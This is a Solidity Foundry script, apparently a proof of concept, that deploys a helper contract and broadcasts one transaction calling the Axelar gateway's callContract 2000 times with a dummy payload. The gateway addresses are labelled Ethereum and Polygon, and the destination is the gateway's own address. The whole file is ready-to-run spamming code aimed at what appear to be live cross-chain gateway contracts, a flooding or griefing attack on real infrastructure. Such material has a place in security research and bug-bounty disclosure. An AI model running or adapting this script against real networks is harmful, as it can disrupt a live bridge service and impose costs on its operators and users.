GatewayPocScript.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

// Define the interface for interacting with the AxelarGateway
interface AxelarGateway {
    function callContract(string memory, string memory, bytes memory) external;
}

// Contract that can make multiple calls to the AxelarGateway in a single transaction
contract MultiCall {
    AxelarGateway public gateway;

    constructor(address _gatewayAddress) {
        gateway = AxelarGateway(_gatewayAddress);
    }

    // This function makes multiple calls to the gateway's callContract function
    function multipleCalls(string memory chain, string memory destAddr, bytes memory payload, uint times) public {
        for (uint i = 0; i < times; i++) {
            gateway.callContract(chain, destAddr, payload);
        }
    }
}

// Script to deploy and use the MultiCall contract
contract DestinationPoC is Script {
    function run() public {
        vm.startBroadcast();

        // Deploy the MultiCall contract
        MultiCall multiCall = new MultiCall(0x4F4495243837681061C4743b74B3eEdf548D56A5); // Ethereum
        // MultiCall multiCall = new MultiCall(0x6f015F16De9fC8791b234eF68D486d2bF203FBA8); // Polygon

        // Define the parameters for the call
        string memory chain = "base";
        string memory destAddr = "0x4F4495243837681061C4743b74B3eEdf548D56A5";
        bytes memory payload = "hellofriend";
        uint times = 2000;  // Number of times to repeat the call

        // Make the repeated calls in a single transaction
        multiCall.multipleCalls(chain, destAddr, payload, times);

        vm.stopBroadcast();
    }
}